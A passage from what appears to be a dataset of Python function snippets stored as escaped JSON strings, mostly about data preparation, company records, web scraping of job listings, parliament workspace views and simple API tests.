Tot_Prod] for j in range(0, len(constants), Tot_Prod)\\r\\n ] # noqa\\r\\n\\r\\n EDLP_Coef = np.array(\\r\\n coef_df[[i for i in coef_df.columns if i.count(\\\"Retailer_Regular\\\") == 1]]\\r\\n )\\r\\n TPR_Coef = np.array(\\r\\n coef_df[[i for i in coef_df.columns if i.count(\\\"Retailer_Promoted\\\") == 1]]\\r\\n )\\r\\n\\r\\n # ################################ Available EDLP Interactions pairs ##############################\\r\\n\\r\\n EDLP = [\\r\\n re.findall(r\\\"[0-9]+\\\", i)\\r\\n for i in coef_df.columns\\r\\n if i.count(\\\"Retailer_Regular\\\") > 1\\r\\n ]\\r\\n EDLP_Interactions = []\\r\\n for i in EDLP:\\r\\n temp = []\\r\\n for j in i:\\r\\n temp.append(int(j))\\r\\n EDLP_Interactions.append(temp)\\r\\n\\r\\n # ###################################### Available TPR Interactions pairs #########################\\r\\n\\r\\n TPR = [\\r\\n re.findall(r\\\"[0-9]+\\\", i)\\r\\n for i in coef_df.columns\\r\\n if i.count(\\\"Retailer_Promoted\\\") > 1\\r\\n ]\\r\\n TPR_Interactions = []\\r\\n for i in TPR:\\r\\n temp = []\\r\\n for j in i:\\r\\n temp.append(int(j))\\r\\n TPR_Interactions.append(temp)\\r\\n\\r\\n # ###################################### EDLP_Interaction_Coef_Values ############################\\r\\n\\r\\n EDLP_Int_Coef_Values = {}\\r\\n for col in coef_df.columns:\\r\\n if col.count(\\\"Retailer_Regular\\\") > 1:\\r\\n Pair_name = \\\"_\\\".join([str(int(i)) for i in re.findall(r\\\"[0-9]+\\\", col)])\\r\\n EDLP_Int_Coef_Values[Pair_name] = list(coef_df[col])\\r\\n\\r\\n # ###################################### TPR_Interaction_Coef_Values #############################\\r\\n\\r\\n TPR_Int_Coef_Values = {}\\r\\n for col in coef_df.columns:\\r\\n if col.count(\\\"Retailer_Promoted\\\") > 1:\\r\\n Pair_name = \\\"_\\\".join([str(int(i)) for i in re.findall(r\\\"[0-9]+\\\", col)])\\r\\n TPR_Int_Coef_Values[Pair_name] = list(coef_df[col])\\r\\n\\r\\n # ##################################### Loading Pantry Loading Coefficients #######################\\r\\n\\r\\n Pantry_1 = list(coef_df[\\\"Pantry_Loading_1\\\"])\\r\\n Pantry_1 = [\\r\\n Pantry_1[j : j + Tot_Prod] for j in range(0, len(Pantry_1), Tot_Prod)\\r\\n ]\\r\\n Pantry_2 = list(coef_df[\\\"Pantry_Loading_2\\\"])\\r\\n Pantry_2 = [\\r\\n Pantry_2[j : j + Tot_Prod] for j in range(0, len(Pantry_2), Tot_Prod)\\r\\n ]\\r\\n\\r\\n # TE_Coeff = np.array(Promo_df[[\\\"TE_Promo\\\",\\\"TE_NoPromo\\\"]])\\r\\n self.Tot_Prod = Tot_Prod\\r\\n self.Tot_Week = Tot_Week\\r\\n self.EDLP_Events = EDLP_Events\\r\\n self.Min_EDLP_Events = Min_EDLP_Events\\r\\n self.Max_EDLP_Events = Max_EDLP_Events\\r\\n self.TPR_Events = TPR_Events\\r\\n self.Min_TPR_Events = Min_TPR_Events\\r\\n self.Max_TPR_Events = Max_TPR_Events\\r\\n\\r\\n self.Target_EDLP_Spend = Target_EDLP_Spend\\r\\n self.Target_TPR_Spend = Target_TPR_Spend\\r\\n self.Target_Trade_Spend = Target_Trade_Spend\\r\\n self.Mapping = Mapping\\r\\n self.Mapping_reverse = Mapping_reverse\\r\\n self.constants = constants\\r\\n self.EDLP_Coef = EDLP_Coef\\r\\n self.TPR_Coef = TPR_Coef\\r\\n\\r\\n self.EDLP_Interactions = EDLP_Interactions\\r\\n self.TPR_Interactions = TPR_Interactions\\r\\n self.EDLP_Int_Coef_Values = EDLP_Int_Coef_Values\\r\\n self.TPR_Int_Coef_Values = TPR_Int_Coef_Values\\r\\n self.Pantry_1 = Pantry_1\\r\\n self.Pantry_2 = Pantry_2\\r\\n\\r\\n self.Base_Price_stg1 = Base_Price_stg1\\r\\n self.Intercepts_stg1 = Intercepts_stg1\\r\\n self.Base_Price_stg2 = Base_Price_stg2\\r\\n self.Intercepts_stg2 = Intercepts_stg2\\r\\n\\r\\n self.Cat_Coef = Cat_Coef\\r\\n self.Disp_Coef = Disp_Coef\",\n \"def _setData(self):\\n formatter = date.getLocaleFormatter(self.request, \\\"date\\\", \\\"long\\\")\\n data_list = []\\n results = self.query.all()\\n \\n # if no current parliament, no data\\n try:\\n parliament_id = model_utils.get_current_parliament().parliament_id\\n except: \\n return data_list\\n #\\n government_id = self.__parent__.government_id\\n for result in results:\\n data = {}\\n data[\\\"qid\\\"] = \\\"g_%s\\\" % (result.group_id)\\n data[\\\"subject\\\"] = result.short_name\\n data[\\\"title\\\"] = \\\"%s (%s)\\\" % (result.short_name, result.type)\\n data[\\\"result_item_class\\\"] = \\\"workflow-state-%s\\\" % (result.status)\\n _url = \\\"/archive/browse/parliaments/obj-%s\\\" % (parliament_id)\\n if type(result) == domain.Parliament:\\n data[\\\"url\\\"] = url.set_url_context(_url)\\n continue\\n elif type(result) == domain.Committee:\\n #data[\\\"url\\\"] = url + \\\"/committees/obj-\\\" + str(result.group_id) \\n data[\\\"url\\\"] = url.set_url_context(\\\"/groups/%s/%s\\\" % (\\n result.parent_group.group_principal_id,\\n result.group_principal_id))\\n elif type(result) == domain.PoliticalGroup:\\n data[\\\"url\\\"] = url.set_url_context(\\n \\\"%s/politicalgroups/obj-%s\\\" % (_url, result.group_id))\\n elif type(result) == domain.Ministry:\\n data[\\\"url\\\"] = url.set_url_context(\\n \\\"%s/governments/obj-%s/ministries/obj-%s\\\" % (\\n _url, government_id, result.group_id))\\n else:\\n data[\\\"url\\\"] = \\\"#\\\"\\n data[\\\"status\\\"] = misc.get_wf_state(result)\\n data[\\\"status_date\\\"] = formatter.format(result.status_date)\\n data[\\\"owner\\\"] = \\\"\\\"\\n data[\\\"type\\\"] = _(result.type)\\n data[\\\"to\\\"] = \\\"\\\"\\n data_list.append(data)\\n self._data = data_list\",\n \"def scrap_data_companies(self):\\n list_job_offers = self.driver.find_elements_by_class_name(\\n \\\"jobContainer\\\")\\n jobs = []\\n if len(list_job_offers) == 0:\\n print(\\\"There is nothing to scrap for \\\", conf.URL_TO_SCRAPE,\\n \\\"that was requested\\\")\\n return\\n\\n for i, elt in enumerate(list_job_offers):\\n\\n self.remove_sign_up_prompt()\\n self.remove_recommended_jobs()\\n html_job_container = elt.get_attribute('innerHTML')\\n time.sleep(2)\\n name_company = get_name_company(elt.text)\\n city_job = get_city_job(html_job_container)\\n job_id = get_job_id(html_job_container)\\n position_job = get_position(html_job_container)\\n job_description = get_summary_job(position_job)\\n\\n if job_id is not None and name_company is not None:\\n company = Company.Company(name_company)\\n company_and_id_job = name_company + \\\"-\\\" + job_id\\n self.current_path = os.path.join(self.date_path,\\n company_and_id_job)\\n os.mkdir(self.current_path)\\n\\n if i != 0:\\n click_on_job_offer(\\n elt) # link since we are already seeing it\\n\\n self.scrape_data_company(elt, company)\\n company_id = company.insert_to_db(self.db_connection)\\n job = JobOffer.JobOffer(job_id, company=company, city=city_job,\\n position=position_job,\\n description=job_description)\\n job.insert_to_db(company_id, self.db_connection)\\n jobs.append(job)\\n print(job)\\n else:\\n logger.error(\\\"Job Id not found\\\")\\n JobOffer.print_jobs(jobs)\",\n \"def prepare_CSV(self):\\n self.drop_columns()\\n self.rename_columns()\\n self.spilt_columns()\\n self.add_vehicle_id_column()\\n self.add_source_column()\\n self.add_timestamp_columns()\\n self.get_colour_columns()\\n self.clean_column_formats()\\n\\n # print(self.data.info())\\n # print(self.data.sample(10))\\n\\n return self.data\",\n \"def _setData(self):\\n data_list = []\\n results = self.query.all()\\n formatter = date.getLocaleFormatter(self.request, \\\"date\\\", \\\"long\\\")\\n for result in results:\\n data = {}\\n data[\\\"qid\\\"] = (\\\"i-\\\" + str(result.parliamentary_item_id))\\n if type(result)==domain.AgendaItem:\\n g = u\\\" \\\" + result.group.type + u\\\" \\\" + result.group.short_name\\n else:\\n g = u\\\"\\\" # !+ g?\\n data[\\\"subject\\\"] = result.short_name\\n data[\\\"title\\\"] = result.short_name\\n data[\\\"result_item_class\\\"] = \\\"workflow-state-\\\" + result.status\\n data[\\\"url\\\"] = url.set_url_context(\\\"%ss/obj-%i\\\" % (\\n result.type, result.parliamentary_item_id))\\n data[\\\"status\\\"] = misc.get_wf_state(result)\\n data[\\\"status_date\\\"] = formatter.format(result.status_date)\\n data[\\\"owner\\\"] = \\\"%s %s\\\" %(result.owner.first_name, result.owner.last_name)\\n data[\\\"type\\\"] = _(result.type)\\n if type(result)==domain.Question:\\n data[\\\"to\\\"] = result.ministry.short_name\\n else:\\n data[\\\"to\\\"]= u\\\"\\\"\\n # remember original domain object\\n data[\\\"id\\\"] = result.parliamentary_item_id\\n data[\\\"_obj\\\"] = result\\n # append processed result item\\n data_list.append(data)\\n self._data = data_list\",\n \"def test_website_companies_create(self):\\n pass\",\n \"def test_get_all_company_props_using_get(self):\\n pass\",\n \"def data_preparation_for_report(job_category, job_name, bugzilla, build_number):\\n common_report = dict()\\n if len(job_category) == len(job_name) == len(bugzilla):\\n for job_no in range(len(job_category)):\\n common_report[job_category[job_no]] = {\\n \\\"job_name\\\": job_name[job_no],\\n \\\"build_number\\\": build_number[job_no],\\n \\\"bugzilla\\\": bugzilla[job_no],\\n }\\n elif len(bugzilla) == 0 and (len(job_category) == len(job_name)):\\n for job_no in range(len(job_category)):\\n common_report[job_category[job_no]] = {\\n \\\"job_name\\\": job_name[job_no],\\n \\\"build_number\\\": build_number[job_no],\\n \\\"bugzilla\\\": \\\"\\\",\\n }\\n else:\\n for job_no in range(len(job_category)):\\n try:\\n common_report[job_category[job_no]] = {\\\"job_name\\\": job_name[job_no]}\\n temp = job_no\\n except IndexError:\\n common_report[job_category[job_no]] = {\\\"job_name\\\": job_name[temp]}\\n\\n for job_no in range(len(job_category)):\\n try:\\n common_report[job_category[job_no]][\\\"build_number\\\"] = build_number[\\n job_no\\n ]\\n temp = job_no\\n except IndexError:\\n common_report[job_category[job_no]][\\\"build_number\\\"] = build_number[\\n temp\\n ]\\n\\n for job_no in range(len(job_category)):\\n try:\\n common_report[job_category[job_no]][\\\"bugzilla\\\"] = bugzilla[job_no]\\n temp = job_no\\n except IndexError:\\n common_report[job_category[job_no]][\\\"bugzilla\\\"] = bugzilla[temp]\\n return common_report\",\n \"def test_create_company_3(self):\\n companies_data = [\\n {\\n \\\"_id\\\": \\\"sbucks\\\",\\n \\\"headquarters\\\": \\\"Seattle\\\",\\n \\\"name\\\": \\\"Starbucks Inc.\\\",\\n },\\n {\\n \\\"_id\\\": \\\"salesforce\\\",\\n \\\"headquarters\\\": \\\"Toronto\\\",\\n \\\"name\\\": \\\"Salesforce Inc.\\\",\\n },\\n ]\\n\\n resp = self.app.post('/companies', data=json.dumps(companies_data),\\n content_type='application/json')\\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\\n\\n # cleanup\\n for company in companies_data:\\n del_resp = self.app.delete(f'/companies/{company[\\\"_id\\\"]}')\\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)\",\n \"def _prepare_reconcile_model_vals(self, company, account_reconcile_model, acc_template_ref, tax_template_ref):\\n self.ensure_one()\\n records = super(AccountChartTemplate, self)._prepare_reconcile_model_vals(company, account_reconcile_model, acc_template_ref, tax_template_ref)\\n records['product_id'] = account_reconcile_model.product_id\\n records['second_product_id'] = account_reconcile_model.second_product_id\\n return records\",\n \"def prepare_data():\\n df = pd.read_csv('Wholesale customers data.csv')\\n df_numeric = df[['Fresh', 'Milk', 'Grocery', 'Frozen', 'Detergents_Paper', 'Delicassen']]\\n return df, df_numeric\",\n \"def _setData(self):\\n data_list = []\\n results = self.query.all()\\n formatter = date.getLocaleFormatter(self.request, \\\"date\\\", \\\"long\\\")\\n time_formatter = date.getLocaleFormatter(self.request, \\\"time\\\", \\\"short\\\")\\n for result in results:\\n data = {}\\n data[\\\"subject\\\"] = result.short_name\\n # this tab appears in the workspace pi/ view...\\n data[\\\"url\\\"] = url.set_url_context(\\\"../calendar/sittings/obj-%i/schedule\\\" %\\n result.sitting_id)\\n # Note: same UI is also displayed at: \\n # /business/sittings/obj-%i/schedule % result.sitting_id\\n data[\\\"items\\\"] = \\\"\\\"\\n data[\\\"status\\\"] = misc.get_wf_state(result)\\n data[\\\"status_date\\\"] = formatter.format(result.status_date)\\n data[\\\"owner\\\"] = \\\"\\\"\\n data[\\\"type\\\"] = result.group.type\\n data[\\\"group\\\"] = u\\\"%s %s\\\" % (\\n result.group.type.capitalize(), result.group.short_name)\\n data[\\\"time_from_to\\\"] = (\\n time_formatter.format(result.start_date),\\n time_formatter.format(result.end_date))\\n data[\\\"date\\\"] = formatter.format(result.start_date) \\n if result.venue:\\n data[\\\"venue\\\"] = _(result.venue.short_name)\\n else:\\n date[\\\"venue\\\"] = \\\"\\\"\\n if type(result)==domain.Question:\\n data[\\\"to\\\"] = result.ministry.short_name\\n else:\\n data[\\\"to\\\"]= \\\"\\\"\\n # past, present, future\\n today = datetime.datetime.today().date()\\n startday = result.start_date.date()\\n if today==startday:\\n data[\\\"css_class\\\"] = \\\"present\\\"\\n elif today>startday:\\n data[\\\"css_class\\\"] = \\\"past\\\"\\n else:\\n data[\\\"css_class\\\"] = \\\"future\\\"\\n data_list.append(data)\\n self._data = data_list\",\n \"def preprocessing_data(df_entity_raw, df_names_raw):\\n # Cleaning unused rows\\n df_entity_filter = clean.df_cleaning(df_entity_raw)\\n # Filter entity contracts: only contracts issued to a mun/dept.\\n # Also gets list of names of mun/dept. with contracts with the entity\\n df_entity, names_mun_list = clean.df_filter_entity(df_entity_filter)\\n\\n # Get list of departments and municipalities of Colombia\\n df_names = clean.df_cleaning_names(df_names_raw)\\n\\n # First standardization: names of mun/dept. with contracts with the entity\\n names_mun_list = [clean.strip_accents(item) for item in names_mun_list]\\n names_mun_standard = []\\n for item in names_mun_list:\\n if 'MUNICIPIO' in item:\\n names_mun_standard.append(clean.standarize_mun(item))\\n else:\\n names_mun_standard.append(clean.standarize_depto(item))\\n\\n # Second standardization: accent standardization without accents with official names\\n names_mun_standard = clean.standardize_accents_mun(df_names, names_mun_standard)\\n\\n # Third standardization: format standardization to ensure a right joining\\n names_mun_standard = clean.standardize_format_mun(df_names, names_mun_standard)\\n\\n # Assign new column to entity dataframe\\n df_entity = df_entity.assign(nom_raz_soc_stand=names_mun_standard)\\n names_mun_standard_list = list(set(names_mun_standard))\\n\\n return df_entity, names_mun_standard_list\",\n \"def get_all_companies_and_people():\",\n \"def test_create_company_props_using_post(self):\\n pass\",\n \"def scrape_data_company(self, elt, company):\\n\\n try:\\n self.wait_job_loading(elt)\\n self.remove_sign_up_prompt()\\n self.remove_recommended_jobs()\\n tabs_category = self.driver.find_element_by_class_name(\\n \\\"scrollableTabs\\\")\\n tabs_category = tabs_category.find_elements_by_class_name(\\\"tab\\\")\\n self.get_data_from_tabs(company, tabs_category)\\n\\n except TimeoutError:\\n logger.error(\\\"Timeout was reached and data was not loaded\\\")\\n except StaleElementReferenceException as err:\\n logger.error(\\\"Trying to click on a stale element \\\", err)\",\n \"def prepare(self):\",\n \"def __post_init__(self):\\n # Only do this if source_data already exists (not during its own initialization)\\n if \\\"SOURCE_DATA\\\" in globals():\\n for data_field in fields(self):\\n setattr(self, data_field.name, getattr(SOURCE_DATA, data_field.name))\",\n \"def prepare_looped_datasets(self, alldict, allcombs):\\n datasets_dict=dict()\\n numcombs = len(allcombs)\\n combct = 0\\n while combct < numcombs:\\n newdata = list(self.baseinput.data)\\n loopedlines = dict()\\n loopedlines = self.prepare_looped_lines(alldict, allcombs[combct])\\n for lvalidx in loopedlines.keys():\\n newdata[lvalidx] = loopedlines[lvalidx]\\n datasets_dict[combct] = newdata\\n combct = combct + 1\\n return datasets_dict\",\n \"def test_website_companies_update(self):\\n pass\",\n \"def read_companies():\\n list_of_companies = data_manager.get_data_from_file(filename=\\\"company/company_data.csv\\\")\\n return list_of_companies\",\n \"def prepare(self):\\n pass\",\n \"def prepare(self):\\n pass\",\n \"def prepare(self):\\n pass\",\n \"def company(self):\\n\\n x = 0\\n my_company = self.data[\\\"Company Name\\\"]\\n my_account = self.data[\\\"Account\\\"]\\n result = []\\n for i in my_company:\\n my_string = i + \\\" -- \\\" + my_account[x]\\n x += 1\\n result.append(my_string)\\n\\n return result\",\n \"def company_data(driver):\\n try:\\n stats_selector = \\\"ul.company-growth-stats.stats-list li\\\"\\n company_stats = driver.find_elements_by_css_selector(stats_selector)\\n company_info = [stat.text for stat in company_stats]\\n except Exception as e:\\n print(\\\"error acquiring company info\\\")\\n print(e)\\n else:\\n try:\\n employees = list(filter(lambda text: 'employees' in text, company_info))\\n num_employees = ''.join(list(filter(lambda c: c.isdigit(), employees[0])))\\n except Exception as e:\\n num_employees = \\\"\\\"\\n pass\\n try:\\n tenure = list(filter(lambda text: 'tenure' in text, company_info))\\n avg_tenure = ''.join(list(filter(lambda c: c in '0123456789.', tenure[0])))\\n except Exception as e:\\n avg_tenure = \\\"\\\"\\n pass\\n company_info = {\\n \\\"avg_tenure\\\" : avg_tenure, \\n \\\"num_employees\\\" : num_employees\\n }\\n return {\\\"avg_tenure\\\" : avg_tenure, \\\"num_employees\\\" : num_employees}\",\n \"def fill(self):\\n if self.source == 'citations':\\n url = self._scholarly.URLS(\\\"CITATIONPUB\\\").format(self.id_citations)\\n soup = self._scholarly._get_soup(\\n self._scholarly.URLS('HOST').format(url))\\n self.bib['title'] = soup.find('div', id='gsc_vcd_title').text\\n\\n if soup.find('a', class_='gsc_vcd_title_link'):\\n self.bib['url'] = soup.find(\\n 'a', class_='gsc_vcd_title_link')['href']\\n\\n for item in soup.find_all('div', class_='gs_scl'):\\n key = item.find(class_='gsc_vcd_field').text\\n val = item.find(class_='gsc_vcd_value')\\n if key == 'Authors':\\n self.bib['author'] = ' and '.join(self.get_authorlist(val))\\n elif key == 'Journal':\\n self.bib['journal'] = val.text\\n elif key == 'Volume':\\n self.bib['volume'] = val.text\\n elif key == 'Issue':\\n self.bib['number'] = val.text\\n elif key == 'Pages':\\n self.bib['pages'] = val.text\\n elif key == 'Publisher':\\n self.bib['publisher'] = val.text\\n elif key == 'Publication date':\\n self.bib['year'] = arrow.get(val.text).year\\n elif key == 'Description':\\n if val.text[0:8].lower() == 'abstract':\\n val = val.text[9:].strip()\\n self.bib['abstract'] = val\\n elif key == 'Total citations':\\n self.id_scholarcitedby = re.findall(\\n self._scholarly.URLS('SCHOLARPUBRE'), val.a['href'])[0]\\n\\n # number of citation per year\\n years = [int(y.text) for y in soup.find_all(class_='gsc_vcd_g_t')]\\n cites = [int(c.text) for c in soup.find_all(class_='gsc_vcd_g_al')]\\n self.cites_per_year = dict(zip(years, cites))\\n\\n if soup.find('div', class_='gsc_vcd_title_ggi'):\\n self.bib['eprint'] = soup.find(\\n 'div', class_='gsc_vcd_title_ggi').a['href']\\n self._filled = True\\n\\n elif self.source == 'scholar':\\n self.bib['add_to_lib'] = self.url_add_sclib\\n\\n try:\\n bibtex = self._scholarly._get_soup(self.url_scholarbib)\\n bibtex = bibtex.find('pre').string\\n self.bib.update(bibtexparser.loads(bibtex).entries[0])\\n self.bib['author_count'] = str(\\n len(self.bib['author'].split('and')))\\n self.bib['age'] = str(\\n int(date.today().year) - int(self.bib['year']))\\n except:\\n # did not find year\\n pass\\n\\n self._filled = True\\n return self\",\n \"def test_prep_new_data(self):\\n pass\",\n \"def setUp(self):\\n self.admin = User.objects.get(username='admin')\\n self.client = APIClient()\\n self.client.force_authenticate(user=self.admin)\\n self.data = {'name': 'testCompany', 'address': {\\n 'address1': '123 fake st', 'address2': 'fake address 2',\\n 'city': 'nowhere', 'state': 'IN', 'zip': '90210'}}\\n self.url = reverse('Company-list')\",\n \"def __init__(self):\\n self.organization_id = ''\\n self.name = ''\\n self.is_default_org = None\\n self.account_created_date = ''\\n self.time_zone = ''\\n self.language_code = ''\\n self.date_format = ''\\n self.field_separator = ''\\n self.fiscal_year_start_month = ''\\n self.contact_name = ''\\n self.industry_type = ''\\n self.industry_size = ''\\n self.company_id_label = ''\\n self.company_id_value = ''\\n self.tax_id_label = ''\\n self.tax_id_value = ''\\n self.currency_id = ''\\n self.currency_code = ''\\n self.currency_symbol = ''\\n self.currency_format = ''\\n self.price_precision = 0\\n self.address = Address()\\n self.org_address = ''\\n self.remit_to_address = ''\\n self.phone = ''\\n self.fax = ''\\n self.website = ''\\n self.email = ''\\n self.tax_basis = ''\\n self.is_org_active = None\\n self.name = ''\\n self.value = ''\\n self.version = ''\\n self.plan_type = 0\\n self.plane_name = ''\\n self.plan_period = ''\\n self.tax_group_enabled = None\\n self.account_created_date_formatted = \\\"\\\"\\n self.zi_migration_status = 0\\n self.user_role = ''\\n self.custom_fields = []\\n self.is_new_customer_custom_fields = None\\n self.is_portal_enabled = None\\n self.portal_name = ''\\n self.tax_type = ''\",\n \"def seperateDataCompany(data):\\n assert isinstance(data, dict)\\n dictionary = dict(data)\\n tmp = dictionary.pop('University of California, San Diego - Jacobs School of Engineering')\\n dictionary['University of California San Diego'] += tmp\\n tmp = dictionary.pop('Amazon Web Services (AWS)')\\n dictionary['Amazon'] += tmp\\n \\n keys = list(dictionary.keys())\\n values = list(dictionary.values()) \\n return (keys), (values)\",\n \"def prepare_data(self, config: TreeConfigParser) -> None:\\n self.data = Data(config)\\n self.data.prepare_input()\\n self.data.prepare_output()\",\n \"def company_context(request):\\n return {'COMPANY': settings.COMPANY}\",\n \"def test_create_company_2(self):\\n company_data = {\\n \\\"_id\\\": \\\"sbucks\\\",\\n \\\"headquarters\\\": \\\"Seattle\\\",\\n \\\"name\\\": \\\"Starbucks Inc.\\\",\\n }\\n\\n resp = self.app.post('/companies', data=json.dumps(company_data),\\n content_type='application/json')\\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\\n\\n resp = self.app.post('/companies', data=json.dumps(company_data),\\n content_type='application/json')\\n self.assertEqual(resp.status_code, HTTPStatus.CONFLICT)\\n\\n # cleanup\\n del_resp = self.app.delete(f'/companies/{company_data[\\\"_id\\\"]}')\\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)\",\n \"def prep_data(data: list):\\n book = {\\n 'title': data['title'],\\n 'authors': [],\\n 'categories': []\\n }\\n try:\\n for author in data['authors']:\\n author_obj, created = Author.objects.get_or_create(name=author)\\n book['authors'].append(author_obj.id)\\n except KeyError:\\n pass\\n try:\\n for category in data['categories']:\\n category_obj, created = Category.objects.get_or_create(name=category)\\n book['categories'].append(category_obj.id)\\n except KeyError:\\n pass\\n book['published_date'] = data.get('publishedDate', None)\\n book['average_rating'] = data.get('averageRating', None)\\n book['ratings_count'] = data.get('ratingsCount', None)\\n try:\\n book['thumbnail'] = data['imageLinks']['thumbnail']\\n except KeyError:\\n book['thumbnail'] = None\\n return book\",\n \"def test_create_company_1(self):\\n company_data = {\\n \\\"_id\\\": \\\"sbucks\\\",\\n \\\"headquarters\\\": \\\"Seattle\\\",\\n \\\"name\\\": \\\"Starbucks Inc.\\\",\\n }\\n\\n resp = self.app.post('/companies', data=json.dumps(company_data),\\n content_type='application/json')\\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\\n\\n # cleanup\\n del_resp = self.app.delete(f'/companies/{company_data[\\\"_id\\\"]}')\\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)\",\n \"def cleaned_data(self):\\n json_response = self.import_data(self.url, self.username, self.password)\\n cleaned_supplier_data = self.parse_supplier_data(\\n json_response.get('supplier_prices', [])) # Clean the supplier json obj\\n cleaned_transaction_data = self.clean_transaction_data(\\n json_response.get('transactions', [])) # Clean the transaction json obj\\n self.export_cleaned_suppier(cleaned_supplier_data)\\n self.export_cleaned_transactions(cleaned_transaction_data)\\n return {'cleaned_supplier_data': cleaned_supplier_data,\\n 'cleaned_transaction_data': cleaned_transaction_data} # cleaned data after simple manipulation\",\n \"def prepare(self):\\n self.parse_template()\\n self.build_argparser()\\n self.parse_arguments()\\n self.render_template()\\n self.update_relation()\",\n \"def _prepare(self):\\n # Time list\\n self.time_list = []\\n # Distance array\\n if self._fxn[0] is True:\\n self.res_dists, self.res_keys = build_reslist_dict(self._rpl)\\n\\n # Distance between alpha carbons\\n if self._fxn[1] is True:\\n self.ca_dists, self.ca_keys = build_reslist_dict(self._rpl)\\n\\n # Distance between resid center of mass\\n if self._fxn[2] is True:\\n self.cm_dists, self.cm_keys = build_reslist_dict(self._rpl)\\n\\n # Distance between resid center of geometry\\n if self._fxn[3] is True:\\n self.cg_dists, self.cg_keys = build_reslist_dict(self._rpl)\",\n \"def _prepare(self):\\n\\n if os.path.isfile(\\\"DATA/diabetes/admission_type_id.csv\\\") == False:\\n download_data()\\n\\n id_mapping = pd.read_csv(\\\"DATA/diabetes/admission_type_id.csv\\\", index_col = 0)\\n data = pd.read_csv(\\\"DATA/diabetes/diabetic_data.csv\\\")\\n\\n # binarize admission type\\n admdf = pd.DataFrame()\\n for adtype, ad_id in zip(id_mapping.description, id_mapping.index):\\n admdf[adtype] = (data.admission_type_id == ad_id)\\n\\n # binarize categorical text columns\\n catdf = pd.DataFrame()\\n dtype = data.race.dtype # grab datatype\\n features = [\\\"race\\\", \\\"gender\\\", \\\"age\\\", \\\"diabetesMed\\\", \\\"insulin\\\", \\\"change\\\", \\\"readmitted\\\"]\\n for feature in features:\\n if data[feature].dtype == dtype:\\n catdf = pd.concat([catdf, binarize(data[feature])], axis = 1)\\n else:\\n catdf = pd.concat([catdf, data[feature]], axis = 1)\\n\\n # choose non-binary columns\\n nonbindf = data[[\\\"num_medications\\\", \\\"num_procedures\\\", \\\"num_lab_procedures\\\", \\\"number_outpatient\\\", \\n \\\"number_emergency\\\", \\\"number_inpatient\\\", \\\"number_diagnoses\\\"]]\\n\\n self.data = pd.concat([catdf, admdf, nonbindf], axis = 1)\",\n \"def prepare_data():\\n user_name = os.environ.get('USER')\\n traintest_corpus = ResumeCorpus('/Users/' + user_name + '/Documents/Data')\\n random.shuffle(traintest_corpus.resumes)\\n\\n for resume in traintest_corpus.resumes:\\n try:\\n review_text = pre_processing(resume[0])\\n review_text = \\\" \\\".join(review_text)\\n data_dict['data'].append(review_text)\\n data_dict['label'].append(resume[1])\\n except:\\n pass\",\n \"def build_data_set(self):\\n if not self.assert_data_correct():\\n self.download_all_data()\\n self.unpack_rename_data()\\n self.split_data_characters()\\n self.clean_data_fragments()\\n self.create_font_data()\\n if not self.assert_train_augmented():\\n self.augment_train_data()\\n if not self.assert_style_data_correct():\\n self.download_style_data()\\n self.unpack_rename_data()\",\n \"def prepare_data(self):\\n self.empty = 'yes' if len(self.data) == 0 else 'no'\\n self._keys = sorted(key for key in self.data.keys())\\n\\n # Validate the keys\\n for key in self._keys:\\n if not is_valid_matlab_field_label(key):\\n msg = \\\"'{}' is not a valid MATLAB field label\\\".format(key)\\n raise ValueError(msg)\\n self.field_names = \\\" \\\".join(self._keys)\",\n \"def __attrs_post_init__(self):\\n\\n self.jobdate = parse(to_str(self.jobdate).strip())\\n self.vehicleid = to_str(self.vehicleid).strip()\\n self.reason = to_str(self.reason).strip()\\n self.notes = to_str(self.notes).strip()\\n self.costparts = Decimal(to_str(self.costparts).strip())\\n self.costlabor = Decimal(to_str(self.costlabor).strip())\\n self.costtotal = Decimal(to_str(self.costtotal).strip())\\n\\n # Apply additional data transformations\\n self.yearmon = datetime.strftime(self.jobdate, '%Y-%m')\",\n \"def test_companies_company_id_push_get(self):\\n pass\",\n \"def test_all_companies(self, setup_data):\\n url = reverse('api-v3:search:basic')\\n response = self.api_client.get(\\n url,\\n data={\\n 'term': '',\\n 'entity': 'company',\\n },\\n )\\n\\n assert response.status_code == status.HTTP_200_OK\\n assert response.data['count'] > 0\",\n \"def _populate(self):\\n\\n # Assume the first word is what we want, and we can find well formed years\\n # This sucks, but will work for these ones.\\n # Roll on bibtex for citations in the CIM.\\n\\n citation_detail = self.doc.citation_detail\\n author = citation_detail.split(',')[0]\\n match = '([^\\\\w])19|20\\\\d\\\\d([^\\\\w])*?'\\n m = re.search(match, citation_detail)\\n if m:\\n year = m.group(0)\\n else:\\n year = None\\n\\n # one error in existing es-doc content to be fixed:\\n if 'van Vuuren DP' in author:\\n author = 'van Vuuren'\\n print 'applying vv fix'\\n\\n self.year = int(year)\\n\\n # We assume that this table will have entries which ne\\n\\n # I use the first three letters of a an authors name, and for\\n # three or more authors, EA, and then the year for my bibtex citation string\\n self.citeguess = author[0:3] + 'EA' + year[2:]\\n # This is what will appear in the table:\\n self.citestring = '%s et al. (%s)' % (author, year)\\n # Keep this for a reference list for checking against the eventual bibtex reference list.\\n self.text = citation_detail\",\n \"def company_addition_from_db2(output_data, domain):\\n companyfc = CompanyFromdb2.objects.using('db2').filter(\\n domain__iexact=domain\\n )[0]\\n\\n if companyfc.founded:\\n output_data['founded'] = companyfc.founded\\n\\n # maybe those 2 were already found in db1 but we want company name\\n # and description from db2 as a priority\\n # it's not the cleanest way since data are overwritten, but the easiest\\n if companyfc.name:\\n output_data['name'] = companyfc.name\\n\\n if companyfc.description:\\n output_data['description'] = (\\n companyfc.\\n description.\\n replace('\\\\n', ' ').\\n replace('\\\\r', '')\\n )\\n\\n try:\\n output_data['formatted_address']\\n except KeyError:\\n if companyfc.address:\\n # mapping french country names to english names\\n # in case the french name is not found we put the english name\\n # by default\\n output_data['formatted_address'] = \\\"%s, %s\\\" % (\\n companyfc.address,\\n french_to_english_country_mapping_dict.get(\\n companyfc.country,\\n companyfc.country\\n )\\n )\\n\\n try:\\n output_data['phone']\\n except KeyError:\\n if companyfc.telephone:\\n output_data['phone'] = companyfc.telephone\\n\\n try:\\n output_data['website_url']\\n except KeyError:\\n if companyfc.website:\\n analyzed_url 